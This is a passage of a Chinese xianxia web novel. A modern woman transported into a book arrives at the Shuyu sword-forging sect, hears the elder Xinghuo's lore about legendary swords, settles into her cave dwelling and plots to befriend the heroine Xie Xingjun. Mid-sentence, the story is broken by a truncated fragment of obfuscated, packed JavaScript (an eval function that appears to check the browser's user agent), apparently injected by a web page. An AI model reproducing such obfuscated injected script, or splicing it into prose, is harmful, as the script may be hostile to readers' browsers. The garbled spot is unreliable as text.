厉神生有剑灵,非有缘修士,无法将其从古剑台上拔出。古往今来,尝试者不计其数,却都折戟而归。纵然是半仙天人,也对之束手无策。 就连未来的谢星君也是如此。大比结束后,一举夺魁的她曾到访渊山,应钧天半仙所邀试剑厉神,可惜,这位天生剑骨,所见之剑无不臣服的天才,在它面前也失败了。 第三剑则是一柄未完之剑,没有名字,至原书腰斩时,温泠淼都没听过更多关于它的消息。 她感觉寒毛根根竖了起来,一时竟不知道该从哪里惊起,是渊山自导自演了一切,还是该叹这柄无人能出鞘的神剑,原来曾有过剑主。 但身为第一宗门,渊山想灭一个小小琉璃楼又何必如此大费周章。且如谢星君所见,五十年后,厉神仍长封古剑台上,这未来数十年间,现任剑主是陨落了吗? 原书开场前,究竟都发生了什么不为她所知的事。 时间在磨人的沉默中,一分一秒过着。星火等三人都把这个事实消化得差不多了,才出言警告道,“老夫敢说,知道厉神剑有主的人不超过五个,此事或涉及渊山隐秘。你们听听就过去了,莫要向他人提起。” “长老说得在理,晚辈一定守口如瓶。”温泠淼勉强挤出笑容,小心翼翼地恭维说,“不过,长老您也太厉害了吧,我在言刀都买不到的消息,您一眼就看出来了,实在是佩服,佩服。” 谁知她这下马屁拍到了马腿上,星火一听,胡须都气得翘了起来,“嘿,你怎么能把老夫跟那群装神弄鬼的东西相提并论。别的不说,单论识剑,言刀在漱玉面前压根就不够看。” “我们可是有着天下第一的铸剑传承,你连这都不知道,算是白来了!” 这也能怪她?要怪只能怪你们大师姐天天游历在外,宗门都不回一次,温泠淼很无辜,只能挠头装傻陪笑。 李真和池砚一听这个熟悉的开头,便知星火又要开始细数祖上辉煌,只能低下头去,暗中祈祷那些听到耳朵都要起茧的话这次能短一点。 “唉,”星火恨铁不成钢地说,“蝉翼你知道吧,钧天半仙的剑,就是我们老祖铸的。厉神亦出自漱玉第一任掌门之手,言刀?言刀怎么能跟我们比!” 往日骄傲历历在目,星火对着这些木头样的年轻人说罢,有些黯然,“看来我们终究是败落了,隐世太久,久到这个世界,都记不住漱玉咯。” 温泠淼倒吸一口凉气,若原书没记错,厉神剑铸成远在渊山成立之前,原来这一不起眼的小宗,历史竟然如此悠长。 因漱玉在原书中戏份近乎一笔带过,她本以为不过是又一个普通的背景板,跟着逐渐展露头角的主角一并鸡犬升天。 虽不知漱玉为何衰落至此,但她知道几十年后,会有另一个天才出世,让这二字继续响彻仙门,并且,比从前任何时候都要耀眼,温泠淼笑笑,能见证这股东风吹起,或许是她的幸运。 “咳咳,是晚辈有眼不识泰山了,对不住,对不住。”她学着池砚搓搓手,谄媚地笑道,“长老在铸剑一道上知识如此渊博,晚辈望尘莫及。只是晚辈愚钝,有些问题怎么也想不通,不知长老可否解惑?” “长老可知,为何这么多年来,无人能将厉神出鞘?现在让其现世的,又是谁?” “老夫也没有头绪,”星火对她的态度十分满意,侃侃而谈说,“我只听闻这是一柄至凶之剑,乃第一任掌门高阳大师以身祭火淬成。在任何时候,工匠以自身祭剑都是邪术,常用以满足不正的目的。” “漱玉古籍曾记,她彼时已叛出宗门,亦疯亦痴,向天下人提了一个绝无可能实现的要求。满足者,方为厉神剑主。” 怪不得称为至纯至凶之剑,也就是说,想要获厉神认可,要达成一个极为苛刻,且很可能不善的要求,温泠淼目光微闪,看来这位短暂的厉神剑主,或许并非善类。 她继续追问道:“那么,渊山的第三柄未完神剑,也是出自漱玉之手吗?” “非也,我漱玉从不行虎头蛇尾之事,”星火吹着胡子,颇为不屑道,“传言云,第三剑乃凡匠所铸,做到一半时,见其神光初蕴,自觉无力完成,便求过路的渊山门人收入翎山剑库,尘封百年。” “不知为何,时间久了,便被一群有眼无珠的人当神剑吹捧。上次我路过渊山,想一观这所谓的‘神剑’,还被一群小子当糟老头子给赶了出来,我呸!” 说到气愤之处,星火长眉都竖了起来,往地上狠狠啐了一口。 温泠淼目瞪口呆,战战兢兢地说出最后一个问题,“所以,蝉翼真如世人所言,是一柄没有特殊之处的谬剑吗?” 星火这下真的跳了起来:“蝉翼!那可是蝉翼!蝉翼可是两千四百年前,漱玉最后一位铸剑大师离流的收山之作,取翠海炽渊底下那块万年玄骨石,以明极冰原深处一隙冰中火,足足捶打三万天而成。就连淬火,用的都是与玄骨石伴生的万年青碧水。” “蝉翼此剑,不用时漆黑无光,貌若凡品,可一旦加注灵力,剑身即薄胜蝉翼,是世间最为锋锐之物,对敌如以无厚入有间,无人,无物可阻。” “所以这是一柄很薄的剑的意思?”温泠淼尝试从一长串玄乎的名词中提取有用信息,按照现代人的科学思维,谨慎地发表建议,“可是,剑薄成这样,真能好使吗?” “你,你,你…”星火急了,指着她大叫道,“你怎么没有一点常识,等过了考核,不,等明天,你就过来上我的铸剑课,我要给你狠狠补习!” 李真和池砚见这个候选弟子句句追问,句句踩在星火的痛点上,不由憋笑。 “李真!”星火忽然转头,恶狠狠地点名。 “在!”看戏的李真险些没能把笑忍回去,捂着嘴,正了正身子,道。 “明天,副课一结束,你就把这小丫头带来映月池,跟你们一块上铸剑基础,别给她找到理由跑了。”星火面色狰狞道,大有一番不改造文盲不罢休之势。 可是,从受力结构来说,薄得像蝉翼的剑,是真用不了啊。温泠淼再度无辜地眨着眼,算了,灵力都出来了,还纠结科学不科学作甚。再说,能提前上铸剑课,就当作她的福利了。 万一给她偷学两招,以后岂不是灵石银子信手拈来。 在李真的应声和温泠淼的美好畅想中,卷轴缓缓降落。 此前,他们一直在山脉中穿行,山中云雾蒸腾,加之又是夜中,除却被卷轴上灯盏照亮的小片范围,四下尽是漆黑朦胧。恍惚间看去,一旁环绕的巍峨高山,宛若静静盯着几人的巨物。 不知是在哪处越过阵法的缘故,忽然,一阵温和的灵力拂过眉睫,温泠淼条件反射地闭上了眼,再睁开时,却是豁然开朗,眼前云雾散尽,山中秘境缓缓展开。 视野最正中的,是一座巨大的湖泊,在夜色中,呈现沉寂的深蓝色,湖边苇草丰茂,似这只湛蓝眼睛的眉睫。 湖泊上蒸起一层稀薄的水雾,若美人遮面,无端添了几分神秘。 到他们近处,湖水跃过不高的石崖淌下,被崖中突兀高起的山脊分成两股,左边那条溪流涓细,在浅石滩上奔流,水上雾气比之翠海,更是浓郁几分。右边那道则是同一条湖泊外的江水汇合,融作滚滚急涛,其上一片清明,不见雾气,景象颇为神奇。 在神湖与左侧溪流沿岸,尽管是深秋时节,仍开满树树桃花,浅粉花瓣随水而下,落英缤纷,景色美极。而右侧小河岸上,却只有嶙峋的石和苍翠的松孤傲侍立。 湖泊环山,山颇高,其上植被丰茂,在漫山的树冠间,不时探出楼阁的影子。 最让人心醉的是,夜里的漱玉,在林间,溪旁,湖上,都砌着供人行走的竹道,道上悬挂起千盏浅黄的 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她先指向最正中的蓝湖,言语中带了几分骄傲:“漱玉共辖九座山头,最正中的,便是神湖翠海。翠海下有炽渊,水温常年高热,越往正中,越近沸腾。” “漱玉弟子未经允许,切勿下水,否则性命不保。” 温泠淼灵力集中眼部,顺着她的手指看去,果然发现湖心有细微气泡冒出。 怪不得其上雾气缭绕,湖畔桃花朵朵,原是水温异常,引得靠近湖面的气候在深秋还如春温暖。 李真再往左移,指向翠海左岸的山,它相比脚下那座,不知为何,灯笼少了大半,看着黯淡许多。“此山名为浮玉,是内门弟子修炼起居之地,你们平日最好不要靠近。” 那么谢星君便在那里了。 她指尖往上一动,指向翠海对岸。那座突兀树立在最远处的山上更是一盏灯笼都没有,只有山谷深处隐隐透出的红光昭示着它的存在。 被红光所照的部分,山体土层裸露,不见草木,一片光秃,与周围茂密山林呈鲜明对比。“此为令丘山,宗门禁地,候选弟子绝不得入。入者,杀无赦。” 最后的杀无赦三字,她咬得极重,让听者心中都是一惊。 最后,她望向脚下的山地,却是先对着两条河介绍道:“左侧溪水直从翠海流出,终年恒温,得名不寒河。右侧溪水与外界冻水汇合,水冷,名为无花江。” 原来这两河一冷一热,怪不得一条有雾有花,另一条没有。温泠淼暗中咀嚼着这两个名字,不寒河,无花江,倒是很贴切。 “不寒河左,为鹊翼山,外门弟子居所,你们的洞府也安排在这。不寒河与无花江间,为槐阴山,知微司所在。知微司负责总管漱玉的行政事务,若你们对洞府分配,宗门功勋发放有异议,可向知微司进言。” “剩下的山头,选择副课时可能会去到,届时会有人为各位介绍。” 星火笑呵呵地接过话头,“今日时辰已晚,不再安排其他事务。稍后会有其他弟子来领你们去各自洞府。明早辰时整,在渡云台集合。” 说罢,他便操作卷轴,降落在鹊翼山腰的一处露台上。在上面,已有另两位外门弟子提着灯等侯了。 他们笑着念起名字,将人招来身边。 “许婧,沈自强,温凌,金野。”其中一位女弟子唤了她的名字,“请随我来。” “此地名为渡云台,明日辰时来这即可。” 说罢,她转身往林中走去。 温泠淼刻意落下一步,走在队伍最后,新奇地看着叶间连绵不断,延伸至远方的暖黄灯笼。脑中盘算若是要人每天晚上点亮,不知得费多少功夫。 一旁的金野也凑过来,同她有一搭没一搭地讲着话。 越近山下,温热的水汽越是扑人脸颊,金野深吸一大口气,眼中忽现异色,他再闭上眼,悄悄运了下灵力,而后猛然睁开,惊叹道:“好精纯的灵气,此地必有一条高级灵脉!” 有吗?温泠淼眉微挑,她怎么一点感觉都没有。 24. 花泉 和在第三城中有区别吗?怎么被金野说得,漱玉的空气不像空气似的。 但她不欲表现得太过奇怪,只顺他的话,对着皇帝的新空气赞叹几句。 莫非感知不到天地灵气,是她自己的问题?温泠淼眼微微眯起,她原以为大家都是如此,可金野的话,让她将此前隐约发觉的异样串了起来。 无法感知灵气,就连恢复灵力,都是按方向运灵一个循环,便感觉灵力凭空多了出来。而若灵力已满,再如何运灵,她的灵力上限都不会增加。 她增长修为所仰赖的,竟然是一个离谱到说出去没人会信的喝水系统。 或许通灵石的结果是对的,她确实只是一个无灵根的凡人。能幸运地走到今天,不过是沾系统的福罢了。 可系统又是从何而来呢,在残酷的修仙界,真会有喝水就能升级这等好事吗? - 一行人走到鹊翼山脚,距离谷底的不寒河只约莫十丈高处,领队弟子便停了下来。 道旁风物僻静幽美,往竹道下望去,可见桃林芳草,湍流如练。再向山体上仔细看,就能见着苍苔侵蚀下座座紧挨着的洞府。洞府石门紧闭,门上已刻了他们姓名。 外门弟子给每人发了块玉牌,柔声交代只需将玉牌往石门上一碰,便可启动门上机关进入洞府。 玉牌如巴掌般大,由剔透的青玉雕成。正面刻有“漱玉”二字以示师承,还用寥寥几刀勾出翠海轮廓。背后则是各人的姓名。 这便是谢星君即使离宗多年,也一直挂在腰间从未取下的宗门命牌吗?温泠淼学着她,指腹抚摸过玉牌背面端正隽丽的“温凌”二字,心中有些触动。 “温泠淼”,是被故乡所抛弃的遗民,这个拗口生僻的名字独属于那里,她不会允许任何人触碰。 “温君”也好,“温凌”也罢,不过是扮演,不过是角色而已。与“温泠淼”无关。 与每天凌晨五点半挤进第一班地铁,在驶过高架桥时从手机屏幕前抬头,穿过钢铁森林缝隙,同喷薄而出的朝阳对视的人无关;与在小组会上,带着黑眼圈压不住的飞扬神采,自信讲着如何用新的稳频技术提升深紫外光刻效率的人无关;与休息日晚爬起床,同挚友混入地下酒吧,点杯曼哈顿,在昏暗光影与狂躁乐声里,怒骂领导八百辈祖宗的人无关。 她眼底不知为何,蒙上了层薄薄的雾。 只是一场大梦而已,她要在这光怪陆离的梦里,找到回乡的路。 “小温姐姐,晚安。”金野从隔壁的石门里探出头,怯生生地向神色恍惚的邻居问候道,“明早见!” 她眼睛猝然合上,再睁开,眼底薄雾不再,只剩一片清明。温泠淼唇角勾起,笑着应了声,而后匆匆关上石门。 金野年纪太轻,看不懂她眼中那一丝稍纵即逝的怅然,满心只有得到回应的高兴,回了个大大的笑容,却被先一步紧闭的门无情隔绝在了外面。 真是个怪人,看着友善,又总觉得不是那么好亲近。金野嘴微微撅起。 石门辅一关闭,温泠淼便将笑意收起,神色冷淡,漆黑的眸子宛若死水一潭。 她随意地打量着未来的居所,洞府极为清净,不过一张床榻,一套桌椅,和一道竹编的帘子罢了。 府壁上嵌了块晕出暖光的晶石,按墙上刻的字迹所说,此为发光机关明石,只需轻叩墙壁便可控制亮暗,倒颇像现代的灯具。 温泠淼再把竹帘一掀,就见其后青石地砖缺了一块,一人高的凹陷中注满清澈的泉水,水面上雾气蒸腾,飘起桃花瓣瓣,乍看过去,好似片花织的毯子。 墙上也刻了字,介绍说是不寒河中引来的活水温泉,水中蕴有自炽渊里流泄出的灵气,若浸泡水中修炼,吸纳灵气的效率可增进一分。 可惜了,碰上她这根修炼木头,就只能是被当作普通温泉的命。 温泠淼兴致缺缺地转过身去,只是她刚移开目光,就见一泓清泉旁,赫然矗立着她日思夜想的厕所。坑边石台上,明晃晃一大扎树叶,简直要夺去她所有目光。 厕纸,我的厕纸…… 她好不容易憋回去的眼泪差点又掉了出来,指尖拂过叶片,感受其上传来的温柔触感,细腻,柔软,无毛,简直是天选如厕伴侣! 墙上甚至写了用完可去知微司杂项处领取。 真是无微不至,连弟子的屁股健康都关照到了。 好宗门!人文关怀,五星好评。 - 夜半,稍作整理的温泠淼拉下竹帘,褪尽衣物,将大半个身体埋入静水落花中。 粉花鲜妍,热汽撩人,她取出从客栈里买的粮食酒,倒了满满一碗,摆在泉边,静静地一口接一口喝着。 没想到她这种普通社畜穿进书里,连抱个大腿都不容易。一算二打三装傻,终于是走到了主角传说之路的起点。 如今,女主角与她,只有一山之隔。 谢星君啊谢星君,你怎会知道,单单是为了见你一面,我就得付出多少力气,温泠淼微微后仰,将长发尽散水中,享受地眯起眼睛。 她把明石的晕光当月亮举碗,遥祝山中人一句安好,再豁然饮尽。 下一步,便是通过那谜语样的心性考核进入外门。她是不是该向李真或池砚打听下内容,好提早做些准备。 若有机会,还得留意漱玉内门的选拔规则,越早进入主角社交圈内混个面熟越好。毕竟前三十年,她可没有剧本在身,总得先找个靠山怂着发育。 那么到时,要以什么面目,出现在女主角面前呢?温泠淼将难得蒸出浅红的脸埋在水下,咕噜咕噜吐着气泡,将花毯吹出个月牙缺口。谢星君人看着冷,却是极重情义,生平至交不过两位,却能为陆放舟一个半妖,从明极冰原三位元婴妖主手中拼死夺下寒心果,再拖着重伤之身到饮马山下求了十月,只为好友一颗七品净神丹。 要接近这样的人,只需让她放下戒心,之后的事情便水到渠成了。 真是,和她一点都不一样。温泠淼又吐一个气泡,把花瓣再吹远了些,一个天真单纯,伶俐可爱的小师妹如何? - 第二日一早,做完健身任务的温泠淼换上绀青色的弟子袍,将玉牌挂在腰间,出了石门。 她脚刚踏一步,犹豫片刻,还是转回去敲了敲隔壁金野的洞府。 “诶,来了来了。”小孩紧张的声音从门后隐隐传出,温泠淼又挂上人畜无害的笑容,对着匆忙穿好衣服,呵欠连天探出头的金野问了声早。 “小温姐姐也早,我昨晚在温泉里修炼,结果练着练着就不自觉睡着了。”金野忙为脸上疲态解释道,“看来这灵泉虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看向金野的目光还好,多半是疑惑和关爱;看向她的可就没那么善良,全是摩拳擦掌的火热,温泠淼坚信,若不是她初来乍到,腰上连个剑都没挂,怕不是一露面,几十封战书就飞了过来。 她只能再往候选弟子堆中挤挤,面上人畜无害的单纯笑容更深。我只是个什么都不知道的小师妹,单纯,无辜,看我也没用。 其余几位孩童见二人吸引了几乎全部关注,有的面露不平,有的陷入深思。只是他们都有意无意地后退几步,与二人隔出些距离。 金野看着孩子们凑在一起叽叽喳喳交流着,唯独把他们落在圈外,眼中生出些失落,再偷偷看向温泠淼,却只见她笑得又盛几分。 暗流涌动间,辰时已到。槐阴山顶,玉露阁上,古钟不知被谁敲响,钟声回荡翠海,久久不息。 在肃穆钟鸣里,渡云台连向浮玉山的竹道上,不知何时,飘然出现两道着月白衣袍的身影,一男一女,年纪看着二十四五,比外门弟子整体成熟许多。 他们实力斐然,脚步轻浅间灵力暗涌,前一秒看着还在数十丈外,不过一眨眼间,便翩然落到渡云台上。 月白衣,内门弟子?温泠淼眉尖微挑,莫非让候选弟子一早来这,等的便是他们,可内门弟子又为何会管这些闲事? 她忽然感觉一切都静了,耳边的血管一胀一胀,心跳声盖过了所有喧嚣,那位女修,会是谢星君吗,俗话怎么说的来着,得来全不费工夫?